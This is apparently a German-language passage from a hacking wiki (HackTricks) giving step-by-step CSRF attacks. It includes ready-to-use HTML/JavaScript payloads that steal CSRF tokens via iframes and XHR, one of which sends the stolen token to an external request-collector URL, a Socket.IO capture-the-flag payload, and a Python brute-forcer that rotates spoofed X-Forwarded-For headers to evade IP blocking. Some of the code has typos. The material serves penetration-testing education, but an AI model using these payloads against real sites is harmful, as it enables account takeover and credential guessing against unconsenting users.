  1. Erstellen Sie eine bösartige Webseite, die ein Iframe enthält. Das Iframe sollte auf die Zielseite verweisen, auf der das CSRF-Token gestohlen werden soll.
<iframe id="csrfFrame" src="https://zielseite.com"></iframe>
  1. Fügen Sie JavaScript-Code hinzu, der das CSRF-Token aus dem Iframe extrahiert und eine POST-Anfrage sendet. Das CSRF-Token kann normalerweise im Quellcode der Zielseite gefunden werden.
<script>
    var csrfToken = document.getElementById('csrfFrame').contentWindow.document.getElementsByName('csrf_token')[0].value;
    var form = document.createElement('form');
    form.method = 'POST';
    form.action = 'https://zielseite.com/action';
    var input = document.createElement('input');
    input.type = 'hidden';
    input.name = 'csrf_token';
    input.value = csrfToken;
    form.appendChild(input);
    document.body.appendChild(form);
    form.submit();
</script>
  1. Wenn ein Benutzer die bösartige Webseite besucht, wird das Iframe geladen und das CSRF-Token aus dem Iframe extrahiert. Anschließend wird eine POST-Anfrage mit dem gestohlenen CSRF-Token an die Zielseite gesendet.

Dieser Angriff kann dazu führen, dass der Benutzer ungewollte Aktionen auf der Zielseite ausführt, da die POST-Anfrage mit dem gestohlenen CSRF-Token authentifiziert wird. Es ist wichtig zu beachten, dass dieser Angriff nur erfolgreich ist, wenn die Zielseite anfällig für CSRF ist und das CSRF-Token im Quellcode verfügbar ist.

<iframe id="iframe" src="http://google.com?param=VALUE" width="500" height="500" onload="read()"></iframe>

<script>
function read()
{
var name = 'admin2';
var token = document.getElementById("iframe").contentDocument.forms[0].token.value;
document.writeln('<form width="0" height="0" method="post" action="http://www.yoursebsite.com/check.php"  enctype="multipart/form-data">');
document.writeln('<input id="username" type="text" name="username" value="' + name + '" /><br />');
document.writeln('<input id="token" type="hidden" name="token" value="' + token + '" />');
document.writeln('<input type="submit" name="submit" value="Submit" /><br/>');
document.writeln('</form>');
document.forms[0].submit.click();
}
</script>

Token stehlen und mit 2 iframes senden

Eine Möglichkeit, einen CSRF-Angriff durchzuführen, besteht darin, den CSRF-Token zu stehlen und ihn mithilfe von 2 iframes zu senden. Dieser Angriff kann in folgenden Schritten durchgeführt werden:

  1. Der Angreifer erstellt eine bösartige Webseite, die zwei iframes enthält. Der erste iframe wird auf die Zielseite gesetzt, auf der der CSRF-Token generiert wird. Der zweite iframe wird auf eine vom Angreifer kontrollierte Seite gesetzt, auf der der gestohlene CSRF-Token gesendet wird.

  2. Wenn ein Opfer die bösartige Webseite besucht, wird der erste iframe die Zielseite laden und dadurch den CSRF-Token generieren. Da der CSRF-Token in der Regel in einem Cookie oder einer versteckten Formularvariable gespeichert ist, kann der Angreifer den Token aus dem ersten iframe extrahieren.

  3. Der gestohlene CSRF-Token wird dann mithilfe des zweiten iframes an den Angreifer gesendet. Der zweite iframe kann den Token an eine vom Angreifer kontrollierte Seite senden, auf der der Angreifer den Token für seine eigenen böswilligen Zwecke verwenden kann.

Dieser Angriff ermöglicht es dem Angreifer, Aktionen im Namen des Opfers auszuführen, da der gestohlene CSRF-Token verwendet wird, um die Authentizität des Anfrages zu überprüfen. Es ist wichtig, dass Entwickler geeignete Schutzmaßnahmen implementieren, um CSRF-Angriffe zu verhindern, wie z.B. die Verwendung von Anti-CSRF-Token und das Überprüfen des Referrer-Headers.

<script>
var token;
function readframe1(){
token = frame1.document.getElementById("profile").token.value;
document.getElementById("bypass").token.value = token
loadframe2();
}
function loadframe2(){
var test = document.getElementbyId("frame2");
test.src = "http://requestb.in/1g6asbg1?token="+token;
}
</script>

<iframe id="frame1" name="frame1" src="http://google.com?param=VALUE" onload="readframe1()"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>

<iframe id="frame2" name="frame2"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>
<body onload="document.forms[0].submit()">
<form id="bypass" name"bypass" method="POST" target="frame2" action="http://google.com?param=VALUE" enctype="multipart/form-data">
<input type="text" name="username" value="z">
<input type="checkbox" name="status" checked="">
<input id="token" type="hidden" name="token" value="0000" />
<button type="submit">Submit</button>
</form>

POSTStehlen Sie den CSRF-Token mit Ajax und senden Sie einen POST mit einem Formular

Eine Möglichkeit, den CSRF-Token zu stehlen und einen POST-Request mit einem Formular zu senden, besteht darin, Ajax zu verwenden. Dies ermöglicht es uns, den CSRF-Token von der Zielseite abzurufen und ihn in unseren eigenen POST-Request einzufügen.

Hier ist der Code, um dies zu erreichen:

// CSRF-Token von der Zielseite abrufen
var xhr = new XMLHttpRequest();
xhr.open('GET', '/get_csrf_token', false);
xhr.send();

// CSRF-Token aus der Antwort extrahieren
var csrfToken = xhr.responseText.match(/<input type="hidden" name="csrf_token" value="(.*)" \/>/)[1];

// POST-Request mit dem gestohlenen CSRF-Token senden
var postData = 'param1=value1&param2=value2&csrf_token=' + csrfToken;
xhr.open('POST', '/submit_form', true);
xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
xhr.send(postData);

Dieser Code ruft den CSRF-Token von der Zielseite ab, indem er einen GET-Request an /get_csrf_token sendet. Anschließend wird der CSRF-Token aus der Antwort extrahiert und in den POST-Request eingefügt, der an /submit_form gesendet wird.

Beachten Sie, dass dies nur ein Beispiel ist und je nach Zielseite und Implementierung variieren kann. Es ist wichtig, die Zielseite gründlich zu analysieren und die entsprechenden Anpassungen vorzunehmen, um den CSRF-Token erfolgreich zu stehlen und den POST-Request zu senden.

<body onload="getData()">

<form id="form" action="http://google.com?param=VALUE" method="POST" enctype="multipart/form-data">
<input type="hidden" name="username" value="root"/>
<input type="hidden" name="status" value="on"/>
<input type="hidden" id="findtoken" name="token" value=""/>
<input type="submit" value="valider"/>
</form>

<script>
var x = new XMLHttpRequest();
function getData() {
x.withCredentials = true;
x.open("GET","http://google.com?param=VALUE",true);
x.send(null);
}
x.onreadystatechange = function() {
if (x.readyState == XMLHttpRequest.DONE) {
var token = x.responseText.match(/name="token" value="(.+)"/)[1];
document.getElementById("findtoken").value = token;
document.getElementById("form").submit();
}
}
</script>

CSRF mit Socket.IO

Socket.IO ist eine JavaScript-Bibliothek, die eine Echtzeitkommunikation zwischen Client und Server ermöglicht. Es verwendet WebSockets, um eine bidirektionale Kommunikation herzustellen. Bei der Verwendung von Socket.IO in einer Webanwendung ist es wichtig, sich vor Cross-Site Request Forgery (CSRF) zu schützen.

CSRF ist eine Angriffstechnik, bei der ein Angreifer eine Aktion im Namen eines authentifizierten Benutzers ausführt, ohne dass dieser Benutzer es beabsichtigt. Dies geschieht, indem der Angreifer den Benutzer dazu bringt, eine bösartige Anfrage an die Anwendung zu senden.

Um CSRF-Angriffe mit Socket.IO zu verhindern, können Sie das CSRF-Token-Verfahren verwenden. Hierbei wird ein eindeutiges Token generiert und an den Client gesendet. Der Client muss dieses Token bei jeder Socket.IO-Anfrage an den Server mitsenden. Der Server überprüft dann, ob das Token gültig ist, um sicherzustellen, dass die Anfrage vom richtigen Client stammt.

Um das CSRF-Token-Verfahren in Socket.IO zu implementieren, können Sie die socketio-csrf-Bibliothek verwenden. Diese Bibliothek erleichtert die Generierung und Überprüfung von CSRF-Token für Socket.IO-Anfragen.

Hier ist ein Beispiel, wie Sie die socketio-csrf-Bibliothek verwenden können:

const express = require('express');
const http = require('http');
const socketIO = require('socket.io');
const socketIOCSRF = require('socketio-csrf');

const app = express();
const server = http.createServer(app);
const io = socketIO(server);

// CSRF-Token generieren und an den Client senden
app.use(socketIOCSRF());

// Socket.IO-Verbindung herstellen
io.on('connection', (socket) => {
  // CSRF-Token überprüfen
  socket.use(socketIOCSRF.check());

  // Socket.IO-Ereignisse behandeln
  // ...
});

server.listen(3000, () => {
  console.log('Server is running on port 3000');
});

Indem Sie das socketio-csrf-Middleware verwenden und das CSRF-Token bei jeder Socket.IO-Anfrage überprüfen, können Sie Ihre Anwendung vor CSRF-Angriffen schützen.

<script src="https://cdn.jsdelivr.net/npm/socket.io-client@2/dist/socket.io.js"></script>
<script>
let socket = io('http://six.jh2i.com:50022/test');

const username = 'admin'

socket.on('connect', () => {
console.log('connected!');
socket.emit('join', {
room: username
});
socket.emit('my_room_event', {
data: '!flag',
room: username
})

});
</script>

CSRF Login Brute Force

Der Code kann verwendet werden, um ein Login-Formular mithilfe eines CSRF-Tokens mit Brute-Force anzugreifen (Es verwendet auch den Header X-Forwarded-For, um möglicherweise eine IP-Blacklist zu umgehen):

import request
import re
import random

URL = "http://10.10.10.191/admin/"
PROXY = { "http": "127.0.0.1:8080"}
SESSION_COOKIE_NAME = "BLUDIT-KEY"
USER = "fergus"
PASS_LIST="./words"

def init_session():
#Return CSRF + Session (cookie)
r = requests.get(URL)
csrf = re.search(r'input type="hidden" id="jstokenCSRF" name="tokenCSRF" value="([a-zA-Z0-9]*)"', r.text)
csrf = csrf.group(1)
session_cookie = r.cookies.get(SESSION_COOKIE_NAME)
return csrf, session_cookie

def login(user, password):
print(f"{user}:{password}")
csrf, cookie = init_session()
cookies = {SESSION_COOKIE_NAME: cookie}
data = {
"tokenCSRF": csrf,
"username": user,
"password": password,
"save": ""
}
headers = {
"X-Forwarded-For": f"{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}"
}
r = requests.post(URL, data=data, cookies=cookies, headers=headers, proxies=PROXY)
if "Username or password incorrect" in r.text:
return False
else:
print(f"FOUND {user} : {password}")
return True

with open(PASS_LIST, "r") as f:
for line in f:
login(USER, line.strip())

Werkzeuge

Referenzen

Treten Sie dem HackenProof Discord Server bei, um mit erfahrenen Hackern und Bug-Bounty-Jägern zu kommunizieren!

Hacking Insights
Beschäftigen Sie sich mit Inhalten, die sich mit dem Nervenkitzel und den Herausforderungen des Hackens befassen.

Echtzeit-Hack-News
Bleiben Sie mit den schnelllebigen Hacking-Welt durch Echtzeit-Nachrichten und Einblicke auf dem Laufenden.

Neueste Ankündigungen
Bleiben Sie über die neuesten Bug-Bounties und wichtige Plattform-Updates informiert.

Treten Sie uns bei Discord bei und beginnen Sie noch heute mit Top-Hackern zusammenzuarbeiten!

Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen: